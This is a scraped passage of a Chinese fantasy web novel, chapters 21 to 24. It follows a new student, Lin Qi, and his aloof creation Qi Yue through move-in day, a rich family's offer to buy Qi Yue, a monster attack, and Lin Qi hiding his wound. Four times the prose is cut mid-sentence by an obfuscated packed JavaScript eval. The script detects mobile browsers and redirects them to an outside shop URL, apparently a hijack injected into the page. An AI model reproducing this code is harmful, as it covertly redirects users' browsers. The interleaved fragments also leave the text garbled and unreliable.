林栖一开始很不自在,反复在心里默念不听不看,但后来发现,那些视线大部分是冲着祈越去的。 和这人走在一起,就像提灯走夜路,小飞虫都是冲着灯光去的,就算偶尔撞他身上,也不会停留太久。 这很容易理解。 大家想看的是顶级造物,而他只是署名了顶级造物的某个普通活人。 想明白了这点之后,林栖开始认真扮演一块背景板,身体放松,双手下垂,散开视线焦点…… 做完入学登记,观沄像其他家长一样,把林栖送到公寓楼下。 “周末我来接你回家。” “那我在哪等你? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528034|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “校车站吧,下车那里有长椅,我还可以顺便看一会儿书。” 林栖听懂了观沄的意思,默默决定早点过去,不让他有机会看书。 他点点头,跟观沄挥手告别。 这就算是正式入学了。 造院和驯院共用一栋学生公寓,驯院新生大多带着异兽幼崽入学,所到之处一阵鸡飞狗跳—— “你这母鸡身上有跳蚤吧?我看见了,刚有东西往外蹦。” “你才母鸡!让你家狗把嘴松开!全是口水!脏死了!” 公寓楼总共七层,底层架空,顶层带个露台花园。 老式建筑没有电梯,而且楼梯很窄。 林栖拖着一个几乎和他一样高的行李箱走到单元入口,比划了一下,确定竖着拎不上去,于是把箱子原地放倒。 他刚准备再拎起来,就听身后有人道:“你是造院的吧?看你这个豆芽菜的身板儿,真拎上去估计腰都折了,要帮忙吗?友情价,一趟三百。” 林栖回头,就见一个身高腿长的少年正朝他笑,从肤色到身形,一看就是驯院学生。 他说不用,拎起箱子走了几步,立刻亲身感受到,观沄是真的给他塞了很多东西…… 行李箱的密度堪比石头。 而且不是单纯的重,是笨重,几乎每次迈步,他都会被箱子绊脚,只能半步半步地往上挪。 驯院学生站着看他笑话,片刻又道:“给你打个折吧,两百九十九。真的没收你贵,你们造院新生今年分在七楼,算上架空,实际上是八楼,而且顶层是加盖的,楼梯特别窄。刚刚已经摔过一个了,脚腕子肿得老高,你也不想刚入学就残疾吧?” 林栖仰头看向一米外的楼梯转角,试图走快一些,但动作幅度稍大一点,就听到箱子碰到台阶发出“砰”的一声。 他太矮了。 驯院学生在后面拍着手笑,“一听就是好箱子,真响,可惜就是人不太行,你们造院都跟没吃饱饭一样。” 林栖只当听不见,继续往前走,忽然却觉眼前光线一暗,走在前面的祈越不知什么时候回了头,站在比他高一级的台阶上,俯身,直接伸手来拿箱子。 林栖抓着把手没动。 “松开。”祈越看向他时,脸上分明写着:不然连你一起拎上去。 威胁有效,林栖松手了。 眼见身形单薄的少年拎起硕大一只箱子,动作却十分轻松。 驯院学生在后面撇嘴点评:“这也是个没吃饱的。” 祈越示意林栖走前面,自己拎着箱子,悠然开口:“当然没你吃得饱,肌肉都长进脑子里了,劈开脑壳光滑一团连半道褶子都没有,有这种出栏率不去养殖场都算委屈人才。” 如果只听语气不听内容,这人似乎在说“今天天气很好,很高兴认识你”。 驯院学生听他说完,在心里反刍一遍才回过味儿来,自己好像被人骂了? 林栖房号701,单人间,带半个阁楼,但没楼梯,只有一道直上直下的消防梯,旁边是一个很迷你的生活阳台。 进屋之后,林栖想说一声谢谢,祈越却先一步堵了他的话,“别谢,没想帮你,我是嫌你走路太慢。” 哦…… 林栖又把嘴巴闭上了。 走廊对面住的也是造院新生,如果仔细看,就会发现这会儿每扇门都留着一条八卦的窄缝儿。 门后面的学生要么竖着耳朵,要么探着脑袋,都在关注701的动向。 林栖关门时,甚至看见其中一条门缝朝他眨了一下眼睛。 林栖:“……” 顶楼房间沉闷,有种烈日烘烤过的干热。 林栖绕了一圈,跟这屋子不熟,不太想坐,于是蹲在地上,开始收拾行李。 箱子塞得太满,拉链已经绷到极限,一打开就噼里啪啦滚出一堆零碎,包括人类幼崽吃的营养罐头、毫无实际用途的小摆件以及一大把松果球。 箱子里隐隐透出一点松烟墨的香味。 林栖垂着脑袋,吸了口气。 这一刻,不想上学的心情达到了顶峰。 他想回去。 他可以吃观沄做的糊味煎蛋,可以喝那些甜死人的果汁,也可以坐在屋里写一天字…… 隔袋里还插了一把弹弓。 皮筋上别着一张小纸条,上面歪扭扭地写了一行独门绝技。 林栖查了字典,那四个字是:瞄准再打。 ……谢谢,学到了,很有道理。 他把那些松果球捡起来,正要找位置放,就听到有人敲门。 一道经过岁月打磨的温和的嗓音隔门传来:“请问,林栖林同学是住在这一间吗?” 林栖下意识地回头看了一眼,起身开门。外面站着一个戴眼镜的中年男人,一身棕色西装沉稳熨帖。 中年男人微笑着,向林栖送上一盒包装极精美的点心。 “上午好,祝您入学愉快,我是傅家的生活管家,谨代表我家小主人前来问候,这里是我的名片——” 22. 第 22 章 点心盒上绑着香槟色的丝质缎带,缎带下方压着一张名片。 林栖接过盒子,看了一眼名片。 管家微笑道:“今年的新生公寓太小,不知道您住得习不习惯?” “还好。”林栖配合一句,等着对方表明来意。 管家:“如果有需要的话,我可以帮您申请别墅区的公寓。现在还有两个套间空着,大的那套一百一十平米,两居室,有衣帽间和温泉浴缸,小的那间一百平米,一居室,带小露台和厨房,我个人比较推荐小的那套,离院里更近,上下课都比较方便。” 林栖想到自己不是一个人来上学的,还随身带着那么大的一个祈越,心动了一瞬间,然后摇了摇头。 管家似乎以为林栖怕惹事,解释道:“您放心,这完全符合学校规定,只要有合适的理由,学生都可以向校方提出申请,只不过一般新生不了解这些,也不知道怎么处理申请手续,我这边提前了解过,已经预备好了申请材料,随时可以提交上去。” “不用了,谢谢。”林栖没说拒绝理由,这样对方就不会针对他的理由再往下聊。 这时走廊有人经过,管家温和一笑,转而聊了几句天气,待脚步声走远,才继续道:“住在这边也好,离同学近,不过房间确实有点小,放不下太多行李。” 林栖隐约猜到了一点什么,但没说话,只是等着对方继续。 “是这样的。”管家终于进入正题,“您也知道,署名造物只是一个考试题目,现在您已经通过考试,顺利入学,也就是说,您的这件造物已经完成了它最大的作用。” “我冒昧猜想,把这样一件造物带在身边也不算特别方便,您或许会有兴趣处理闲置,而我家小主人对收藏一向很有兴趣,也很乐意向您购买闲置。” 他的语气像在谈论一件二手家具,林栖明明能听懂,却还是隔了一会儿才反应过来,对方的意思是:想买祈越。 林栖觉得很荒诞。 就像有人说“既然你现在坐着不动,不如先把腿锯了卖掉”一样荒诞。 他直接道:“不卖。” 对方脸上没有一丝多余情绪,只是保持礼貌微笑,“我知道,这是一件很珍贵的造物,所以价钱不是问题,我家小主人从不占人便宜,如果您有其他附加条件也可以一并提出,我会尽可能地让您满意。” 林栖摇头,心里堵着一股说不清的烦躁,一个字都不想多说,直接把点心盒子塞回对方手里,一把关了房门。 温和的声音隔门传来,“那么您先考虑一下条件,我会与您保持联系。” 脚步声顺走廊远去。 祈越站在阳台门前,身后是一片隔着玻璃和微尘的刺眼阳光,那双眼睛看向林栖,背光的红色比平时更显深郁。 林栖转身时,祈越目光略微偏过一点角度,刚好与他错开,手指在窗台轻轻一抹,点评道:“这灰厚得可以种树。” 林栖心里那点莫名的情绪瞬间被打破了,闻言也在桌上抹了一下。确实有灰,但只是浅浅一层,别说种树,连苔藓都养不活。 他在心里嘀咕:你是不是洁癖? 几乎同时,祈越道:“我还以为你有洁癖。” 林栖静了静,慢半拍地眨了下眼。 他好像忘了自己还有一个洁癖人设…… 如果真是洁癖,就不会徒手摸灰。 和观沄一起住的这段时间,他有点偷懒,没刻意维持人设。 这么快就生疏了…… 片刻,林栖淡定开口:“不严重。” 不管对方信不信,反正先糊弄一下。 祈越:“嗯。” 林栖脚趾在鞋子里动了动,从行李箱中找出一包湿纸巾,一边仔细擦拭手指,努力补救人设,一边默默思考,祈越是什么时候发现的? 很明显,这人喜欢独来独往。 如果没有必要,几乎不会在他面前出现。 与其说是流浪猫狗,更像某种野生动物。 所以……在他没留意的时候,这人其实是在观察他吗? 他都观察到了什么? 正想着,就听“咔”的一声轻响,祈越开门去了阳台,隔着倾斜的玻璃反光,留给他一道生人勿近的背影。 风吹来一阵新割过的青草味。 林栖眼睫轻轻一抬,只看一眼就收回视线,想了想,决定先按“洁癖不严重”的方向维持人设。 他继续收拾行李,随即又想到一个问题。 这是单人间。 要在别人眼皮底下维持人设,所有细节都要重新考虑,任何一点疏忽都有可能人设崩塌。 而且他装得越像、装得越久,以后被发现的时候就越尴尬。 这是那种“一个谎言需要用无数个谎言来圆”的经典案例。 林栖蹲在行李箱边,表情逐渐凝滞。 这一瞬间,他忽然觉得,把祈越卖了也不是不行…… 十分钟后,别墅区。 套间内的家具陈设全部重新换过,从墙面到地板,所有细节都彰显着主人独一无二的审美格调。 傅明熙靠坐在一张定制沙发上,随手翻着拍卖图册。 听管家说完,他头也不抬道:“别跟我说不行,去想办法,动动脑子。” 管家恭敬垂着视线,“是,但看您那位同学的态度,应该不会同意。” “我说过要他同意了吗?”傅明熙“啪”的一声将图册扔到桌上,“连我都没有的东西,别人凭什么能有?” “是,那我懂了,这就去办。” …… 照惯例,入学第一周是公共常识课,不分院系,用来给学生熟悉环境。 从中午到下午,林栖被生活老师带着,了解了在校期间最基础的衣食住行。 第一天只有一节参观课,安排在晚饭之后,地点在校史馆。 新生大都刚满十二岁,校方考虑到他们年纪小,初始课程安排十分轻松,基本可以当作饭后消食。 学生们先自由参观展厅,听讲解,再到阶梯教室观看影音资料。 资料介绍了学校各个院系的发展历史,按建院时间排序,第一个就是造院。 老旧的教学楼出现在大屏幕上,当讲解中出现“造物学院”四个字时,忽然有学生在后面接了一句:“垫底——” 声音很小,但脆,像夏夜的蛐蛐儿在砖缝里叫了一声,整栋房子都能听见。 四周顿时飘起一阵哄笑。 公共课不分院系,座位随机,但这会儿只看每个人的反应,就能知道谁是造院学生。 隔着一排,有个学生探头问向林栖:“你是造院的吧?” “是的。”林栖回答。 “哦,没事,我就随便问问。”学生嘿嘿一笑,缩回头去。 接着,右侧五六个位置之外,有人朝林栖看了一眼,螃蟹似的横挪过来,也问:“你是造物院的吗?” 这是个剪着蘑菇头的男孩儿,手腕上扣着一只半球形的卡通手表,说话时一双浅棕色的眼睛睁得很大,每眨一下睫毛都像在扇扇子。 “是的。”林栖回答。 男孩儿直接在旁边坐下,“我也是造物院的。” 他手里抓着一只鼓鼓囊囊的白色塑料袋,随着动作发出哗哗声响。 坐下之后,他把袋子放在自己腿上,从中摸出一袋薯片,一边塞给林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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密集的咔咔声仿佛一只冰冷无骨的手,顺着人的脊椎直往上爬。 一阵凄厉摩擦声后,脚下砖石骤然向上掀翻,裂隙中穿出无数道扭曲的黑色影子,从地面一直贯穿天顶。 一阵混乱惊叫声中,光线瞬息变暗。 教室好像成了原始丛林,漆黑巨木盘根错节,枝杈间连缀着数不清的扭曲藤蔓。 尘土中蔓延开潮湿腐败的腥臭味,像是铁铲翻起了沉积在湖底的淤泥。 残存的顶灯闪了一下。 一束光线曲折坠落。 灯影下方,一个学生被砖缝卡着脚踝,正在试图挣脱,忽然周围光线一暗,他惊恐抬头,眼中投映出一道缓慢移动的诡异黑影。 黑影像是一根烧焦后又泡皱了的人手,前端支开几根枯瘦的枝杈,手指似的向内蜷曲,以一种极慢的速度左右扭动。 片刻,枝杈舒展开来,露出包藏在内部的密集小刺。 小刺尖端猩红,呈半透明状,细细向内勾起,像某种食虫植物的叶片,或是野兽舌尖上的倒刺。 忽然,藤蔓一动,画面在男孩儿眼中骤然放大。 猩红倒刺仿佛可以穿透瞳孔,钩入脑髓。 惊叫声瞬间穿透整间教室。 同一时间,沉寂多年的预警系统发出一声爆鸣,刺眼的白光从高处直直落下。 如同一道惊雷悍然砸落,所有人同时心中一颤。 这警报声是……怪物。 学城里有怪物!!! 23. 第 23 章 从外面看,校史馆像一只被荆棘扎透了的盒子,破损的墙面穿出无数黑影。 所有人都以为学城是最安全的地方,而现在,最安全的地方居然也有怪物。 比场面先乱起来的是人心。 “别慌,大家别慌!”老师的声音从门外传来,气息有些不稳,“场馆有防护,巡逻队就在外面!怪物等级不高,大家别慌,先想办法躲避——” 室内空间被庞大的怪物躯体切得支离破碎,学生稚嫩的嗓音从角落里断续传出——抽泣和求救声在诡异的阴影之间回荡。 后排座椅好像脱轨列车一样掀翻在地。林栖躲在椅背和墙壁的夹缝中,悄无声息地缩成一团,闻言,把自己又往缝里挤了挤。 从他这里看不到其他人的位置,视野中无数黑影交织成网,像是某种巨大的海底生物,正缓缓展开它的触角。 林栖静静观察周围。 这时前方传来“哗啦”一声脆响。 一只白色塑料袋被藤蔓挂住,向前拖拽一段,又掉在地上,撒出一堆花花绿绿的零食袋子。 接着就听有人轻轻“啊”了一声。 林栖看到一只手贴着地面,从夹缝里伸了出来,五指用力张开,仿佛每个毛孔都在用力,指尖一寸寸地往前挪,想要拿到那只袋子。 林栖蜷起身子,眼睛贴着缝隙看向旁边,“乐贤,别动……” 但是话说晚了。乐贤像只没骨头的小猫,已经趴着身子,从缝隙里挤了出去,钻过满地狼藉去拿袋子。 “嘶”的一声贴着地面传来,近处一根藤蔓忽然动了,朝着袋子旁边蠕动过去。 乐贤蹲在一片扭曲舞动的阴影下,仿佛身处巨兽口边却毫无所觉,只是撑开袋子,捡起零食往里面塞。 林栖又叫了一声,“乐贤——” 男孩儿像是终于听到他的声音,大睁着一双浅棕色的眼睛转头,回应道:“林栖——” 就在这时,地上那根蠕动的藤蔓左右一甩,末端扫到乐贤脚腕,仿佛一根水草缠住溺水的人,忽然向内卷绕起来,扭动着,把男孩儿往后拖拽。 地面发出细碎的摩擦声,更多的藤蔓移动过来。可怕的是,男孩儿本人完全不怕,睁着一双大眼睛到处打量。 林栖沉默一秒,忽然从藏身处钻了出来,走到墙角,扒开几块碎石,找到了被埋住的消防斧。 片刻,稚嫩的手指握住木杆,双臂高举,用力朝藤蔓砍了下去。 金属触到地面发出一声锐响。 藤蔓应声断开,扭动着滚到一旁,林栖一把捉住乐贤,把他往躲避处拽,但刚走两步,余光就见黑影一晃,几条藤蔓猝然朝他横扫过来。 身体本能比思考更快一步反应,他抬手护住乐贤的脸,同时把人朝反方向推开。 沉重的消防斧“当啷”一声落地。 下一秒,林栖手上传来一片凉意。 藤蔓上的倒刺像是某种刑具,一旦碰上皮肤,就会狠狠刮下一层血肉。 手臂上,白皙的皮肤表层绽开,细密的血珠渗出,转瞬连成一片。 林栖愣住了。 第一反应不是躲避,而是捂住伤口。 空气嗡的一震,又有一丛藤蔓朝他卷绕过来,黑影几乎擦着下颌划过。 他紧紧捂着手臂,慢半拍地退了一步。 眼看着一滴血从指缝里滚了下来。 远处传来破门声,一片嘈杂,救援已经进场。 像是感知到了危险,密林般的黑影忽然开始躁动不安。林栖从远处收回视线,看向脚边的消防斧,明知道此刻该做什么,手却无法从伤口移开。 藤蔓裹挟着风声抽来,林栖迟钝地偏了下头,同时听见一道人声被风推到自己耳边:“你是站在这里当靶子吗?躲开。” 不耐烦的语气十分耳熟。 林栖心中轻轻冒出一颗问号。 缓缓转动视线,在嘈杂混乱的底色上看见了一道生人勿近的背影。 祈越站在几步之外,手上扯着一根藤蔓,猛地下拉,一脚踩住,同时单手提起斧头,利落砍下。 林栖看见他戴了一副黑色手套,绷带一直绕到腕骨。 金属撞击地面的余音中,祈越皱眉扫他一眼,“碍事,躲开。” 碍事的林栖:“……” 紧接着“咔”的一下,又是一条藤蔓应声落地。 林栖简单评估了一下祈越的生存能力,回头一把抓住蹲在地上捡糖豆的乐贤,推搡着把人塞到椅子后面,又用自己堵住出口。 躲避处没有零食,乐贤像一只断奶期的猫崽,看不到逗猫棒就老实了。 林栖从躲避处朝外探了探头,深黑澄澈的眼睛在暗处透着一点反光,谨慎而好奇,像某种毛绒绒的动物幼崽。 祈越的样子不像在打怪物,而像是在给树修剪枝条,只把那些伸到面前的藤蔓斩断,仿佛在教怪物什么是边界感。 乐贤忽然道:“你受伤了。” 林栖瞬间捂紧手臂,“我没有。” 乐贤盯着他指缝里的血痕,语气笃定,“你受伤了。” 空气静默一瞬,忽然旁边传来“哗啦”一声,一袋东西被人随手扔了过来。 袋子扎了口,但肚子破了,能看到里面的消毒水和绷带。 林栖目光短暂迟疑一瞬,随即拿出绷带,在自己伤口缠了几圈,又问乐贤身上有没有伤。 乐贤“唔”了一声,直接把手伸到林栖眼皮底下,他刚揪掉了一片倒刺,指甲旁边有点渗血。 好吧。 林栖默默给他拿了一根消毒棉签。 做完这些,他才探头出去,祈越站在两米之外,依然只留给他一道生人勿近的背影。 于是他默然片刻,又把咬在齿间的“谢谢”吞了回去,默默缩回脑袋。 空间狭窄沉闷,林栖有些出汗,几缕黑发湿漉漉地贴着耳鬓。 他用染血的右手握住左手手腕,食指轻轻挑开绷带边缘。 视野中,红线细密盘绕,左右穿梭着,勾连起破碎的肌肉组织。 一道血痕在右手指缝中缓缓移动,凝成一颗一颗的细小血珠,像某种瓢虫,顺着食指尖端爬行,从右手滑向左手,又从绷带下的缝隙钻入伤口…… 即使在林栖自己看来,这种画面也十分诡异,比外面的怪物更像怪物。 等血迹消失之后,他用消毒水擦了擦手,想了想,又撕掉了手指上那片伪装用的创可贴。 可能是心虚,也可能是无聊,他将它捏在手里,折叠再折叠,一直到实在折不动了才停下。手指在地面摸索片刻,找个砖缝把它塞了进去。 过程中,外面的嘈杂渐渐停了。 又过了几分钟,救援人员和老师一起找了过来。 怪物已经控制住了,但场面依然混乱,周围是各种陌生的人和声音,他和乐贤像两只小动物,被老师指挥着左转右转,绕来绕去地出了校史馆。 楼间空地上临时划出一片安置地点,巡逻队在最外围警戒,内圈是老师和校医,学生被围在中心,像一群突然遭遇狼群的小羊,被牧民一只只赶进圈里。 众所周知,接触怪物很有可能造成侵蚀,一旦被怪物攻击受伤就更严重。 如果不能及时处理,最快一两天内就会出现侵蚀症状,愈伤组织会发生畸变,长成尖刺和鳞片,逐渐从伤处向外蔓延。 这场怪物袭击同时发生在两处场馆,几十名学生直接遭遇怪物,幸运的是无人重伤,不幸的是伤情波及很广。 校医已经在二十多名学生身上发现了不同程度的擦伤,其中一半都是刚入校的新生。 伤势本身并不严重,但每个人脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541805|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上都是一副濒死般的惊恐。 如果现在受到侵蚀,他们很可能会失去入学资格,甚至被驱离学城。 受伤学生被集中在一个简易帐篷中,由几名校医单独处理。另外还有几名校医守在外围,等着安置新救出的学生。 林栖手上缠了绷带,到达现场时,一名校医立刻上前询问情况。 一路上,周围的声音都在议论怪物和侵蚀,林栖已经被动听了很多,也知道过来之后一定会有人问。 他低着头,蹭了蹭鼻尖,有点不好意思地说自己是在逃跑的时候摔倒了,擦破了一点皮,不过没事,已经有人帮他上过药了。 在说有人帮他上药时,他的眼神无意识地看向正忙碌的另外几名校医,仿佛想找出那位帮他上了药的医生。 听到只是摔伤,校医明显松了口气,如果放在平时,一个学生从怪物袭击现场出来,肯定会被一群校医围着处理伤口,即使确信无事也要反复检查几遍。 不过这会儿人多事忙,他也顾不上那么仔细,只是从衣兜里摸出一包饼干塞给林栖,嘱咐他不要乱跑,有问题随时叫人。 林栖刚走两步,就听见许慎行的声音破开嘈杂穿透过来—— “林栖——过来过来!让我看看!” 于是林栖又把和校医说过的话重复了一遍。 许慎行似乎并不相信,只是更不屑于怀疑,“你自己确定没事就行。” 说着朝他左右扫了两眼,又道:“你的那件造物呢?今天没带出来?” 林栖回答:“没带出来。” 确实不是他带的,是祈越自己跑出来的,而且现在又不知道跑哪儿去了。自从救援队出现,这人就不见了。 许慎行朝远处看了一眼,似乎有事急着要走,却又忽然想到什么似的,看着他道:“你当时可是给我交了一张白卷。” 林栖:“……” 怎么突然要翻旧账? “估计你也不懂什么造物常识。”许慎行嘴巴一撇,语速很快,“先说两点,第一,怪物不会主动攻击造物,第二,造物不会受到侵蚀,所以不用担心你那混蛋造物,先把自己顾好。” 他从旁边箱子拿起一瓶果汁塞给林栖,“常识也很重要,以后要好好学。行了去吧,待着别乱跑,现在还不能确定安全。” 林栖点点头,选了个没人的角落窝着,捏着饼干和果汁静了片刻,视线飘散出去,绕着人群转了几圈,终于在空地外的一棵树上停住。 一杆路灯嵌在浓密树冠里,把手掌形的梧桐树叶照得晶莹透亮。 在一根距离地面几米高的树枝上,隐约可以看见一道人影—— 祈越斜倚树干坐在那里,身上覆满暖黄交错的光影,手里似乎还捧着本书。 林栖:“……” 这么悠闲吗? 果然是野生动物,还是夜行性的。 校方把学生圈在这里待了一个小时,等排查完了安全隐患,才放他们回到住处。 公寓楼外,每条小路都有巡逻队在巡视看守。 林栖回去时,灯光亮着,祈越已经在房里了。 书桌上支着一盏台灯,扩散的圆形光圈照亮了一本厚厚的书。 祈越单手持书,满身写着生人勿近,连手里的书都好像带刺一样。 人虽然只是坐在角落,却像是把整间房都霸占光了。 林栖站在门前,视线在房间里飘忽一圈,又回到祈越身上,然而等了好一会儿,祈越也没抬头看他。 对方把他当成空气,不给一点反应,于是他也找不到时机开口。 憋了一路的感谢像是一只厚信封卡在邮筒里。 既拿不回来,也寄不出去。 堵得慌。 林栖只能暂且放弃这封信,另换一封,问祈越:“晚上你想睡哪?” 24. 第 24 章 毕竟只有一张床。 祈越没抬头,只竖起一根食指,指尖朝向天花板。 意思是,阁楼。 林栖:“那你要被子吗?我有两张,都是没用过的。” 祈越:“不要。” 林栖还想再问,祈越却道:“不好意思,我在看书。” 发音是“不好意思”,实际上听起来更像“滚蛋”。 哦…… 林栖驱着自己默默滚蛋,去洗了手,喝了点水,收了行李,然后打开衣柜,把挂好的衣服顺着横杆从左到右扒拉一遍,又慢吞吞地走回书桌旁边。 他目不斜视地掏了掏兜,把一根巧克力脆皮兔子糖、一包黄油曲奇小饼干、一瓶青提苹果汁依次放在桌角,想了想,又从自己的零食筐里拿出几样补充进去。 过程中难免发出一些细细脆脆的塑料声响,祈越从书中抬起视线,掸灰似的,朝旁边扫了一眼,林栖来不及收回目光,刚好和他撞上。 空气一阵沉默。 林栖指着零食,“这些你……” “不吃。” “哦……” 祈越翻着书页,“你还是留着自己吃吧,毕竟,等变成怪物就吃不成了。” 林栖花了几秒钟时间解读这句话的意思。 然后,他确定了,祈越不但看见了他是怎么受伤的,而且还知道他没找校医处理伤口。 这个人怎么什么都知道…… 林栖耳边盘绕着一些嗡嗡杂音,像是有一堆气泡从深水中往上飘,他目视前方,眼睛一眨不眨,“这里还有蓝莓果汁,对眼睛好的,你可以喝一瓶。” 他要说他看错了,眼睛不好。 祈越视线在文字间逐行下移,落到最底时又随着翻页动作向上抬起,顺势在林栖脸上一停,“嗯,趁现在提升一下视力,等着看你变成怪物之后有多难看。” 林栖抿住嘴唇,一瞬间很想拿零食砸他。 公寓楼木门单薄,隔着门板和门缝,能清楚听到外面的脚步声,有人在爬楼梯,有人在顺着走廊溜达,声音带着一点空旷回音,哒哒哒地来回游移。 经历过一场怪物袭击,学生们在自己屋里待不住,没到变声期的嗓音好像麻雀,叽叽喳喳吵成一窝。 高年级的学生也跑上来打听情况。 四周回荡着“怪物”两个字,好像水管漏水,淹了整个楼层,声音不断顺门缝往里渗,水里带着杂质,时不时飘来几片“幽冥”。 叽喳声里夹杂着恐惧、后怕、兴奋、好奇……有人说,这次怪物袭击绝对和幽冥有关,而且有理有据—— 1.猎捕队主动去抓幽冥,它肯定生气了。 2.自从防御体系建立以来,主城区里只进过两次怪物,上一次也是幽冥。 1是动机,2是能力,证明完毕。 “但……但是幽冥没这么弱吧?” “幽冥本冥肯定不弱,但这可能是它头发呢?你想想看,是不是?那个怪物,一根一根的,是不是很像头发?” “是噢……” “嗯……幽冥还有头发?” 他们越说越兴奋,直到管理老师上来查房,叽喳声才一哄而散。 管理老师盯着学生熄灯上床,走廊终于安静下来,但没多久,细微的动静就像修剪过的草坪,淋一场雨就又开始冒头。 走廊尽头,720室,几个男孩儿正悄悄凑在一起,每个人都穿着睡衣,趿着拖鞋,怀里还抱着一兜零食。 三个造院,两个驯院,都是这一届的新生。驯院两个是双胞胎,哥哥叫金多,弟弟叫金少。 地面中央放着一盏应急灯,冷白光线照亮一圈稚嫩面孔,每人脖子上都套着一根红绳,尾端缀着叠成三角形的符纸。 “你这个真有用啊?”金多小声问。 “当然有用了。”姜宝宝信心满满。 “我们三个就是活生生的例子,我自己今天出门挂的就是这款,结果刚逛完展厅就肚子疼,提前跑了,根本就没遇上怪物。还有小夏,今天拿着幸运符,逃课去了图书馆,一直到闭馆才出来,老师找他都找疯了。” “……逃课去图书馆?”这还是人话吗? “那还有他呢?”金多指向坐在一旁吧嗒吧嗒嗑松子的男孩儿。 “乐崽就更是了,你们不知道,当时可惊险了,他就在那间教室,绝对是现场中的现场,怪物都抓着他的脚腕子了,结果当场就来了一个遇难成祥。” “真的假的?都被怪物抓着脚了还能没事儿?”金少表示怀疑。 “对啊,所以才说运气好,乐崽这边刚一被抓,旁边莫名其妙就冲出个人,咔咔就把怪物砍了,乐崽裤子都划破了,但脚上一点儿伤都没有,连校医都说神奇。” 金少:“真的假的?你们造院还有这种猛男?” “这你就不知道了吧,人家可是,咳咳——逆风翻盘的无冕之王·低调的补考天才·顶级造物的主宰者·身高不到一米五的怪物杀手·颜值被才华所掩盖的预备役校草·道德情操足以超越才华的活体救世主——林栖林同学,请鼓掌!” 姜宝宝说完,双手上托,比了个起立手势。 乐贤立刻配合地开始鼓掌,手里松子哗啦掉了一地,于是他一边继续拍手,一边蹲在地上捡松子。 金多撇嘴:“说得这么好,那你怎么不叫他来?” 姜宝宝笑开两排白牙,“实不相瞒,我有个绝症,一见好学生就头疼。” 金多金少:“?” 不是,好好的,怎么突然骂人呢? 而且他们考试名次一个第二,一个第三,怎么就不是好学生了?? …… 午夜过后,传说中的怪物杀手·猛男林栖悄无声息地下了床。 他捏着一盏小小的手电筒,从床头柜里摸出一只文具盒,把它带进洗漱间,缓缓转动旋钮,从里面锁了房门。 门缝里透出一线白光,左右晃了几下,终于在一个角度固定下来。 大约半小时后,林栖回到床上躺好,仿佛什么都没发生过一样,但仔细看,就能发现他手上的绷带重新包过,有些细节和之前不太一样。 闭眼之前,他看着房顶上的阁楼入口,缓缓吐出一口气来。 伤口画好了。 而且画得很真。 第二天一早,天刚亮,所有新生就被带去接受净化。 出门之前,生活老师特意嘱咐,让林栖把造物一起带上,说净化结束之后,要给造物做个登记。 净化分两个阶段,第一阶段所有人都参加,类似于去教堂做礼拜,听几位祈院老教授讲经和做祝祷。 结束之后,几个工作人员找到林栖,跟他说:“第二阶段会在祈院礼堂进行,仪式是一对一的,开始之前要先进行一次沐浴净化,需要你带一身没穿过的浴袍,如果没有就找老师登记一下,这边会给你准备。” 沐浴净化…… 林栖伪造伤口用的颜料虽然防水,但也经不起在澡堂里泡。 林栖拆开绷带,直接给他们看了伤口,“我昨天只是摔了一下。” 伤口在手臂外侧,呈斑块状,只蹭破了一点皮,周围涂着一层浅红色的药水,旁边带着一大片磕碰出的淤青,明显不是怪物挠出来的。 特意净化确实多此一举。 工作人员劝道:“最好还是净化一下,你现在身上有伤,完全符合净化条件,而且这次机会难得,你知道外面有多少人排着队的想找祈院净化?” 林栖安静听着,一脸乖巧,心里想的却是——既然机会这么难得,伪造伤口也就有理由了,万一暴露也能狡辩一下。 林栖那双深黑澄澈的眼睛微微弯起弧度,仰头看着工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548305|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作人员,声音很糯很轻,“那还是把机会留给有需要的人吧,我没事,真的,已经不疼了,谢谢老师关心。” 工作人员笑得一脸慈爱,忍着上手摸摸头的冲动,感叹:“哎,真是个好孩子,真懂事,那我也不多说了,你记得按时上药,洗澡小心一点,尽量别碰到水。” “嗯,我知道了。” 工作人员走后,林栖重新给自己包上绷带,包着包着,忍不住朝旁边看了一眼,果然对上一双深红色的眼睛。 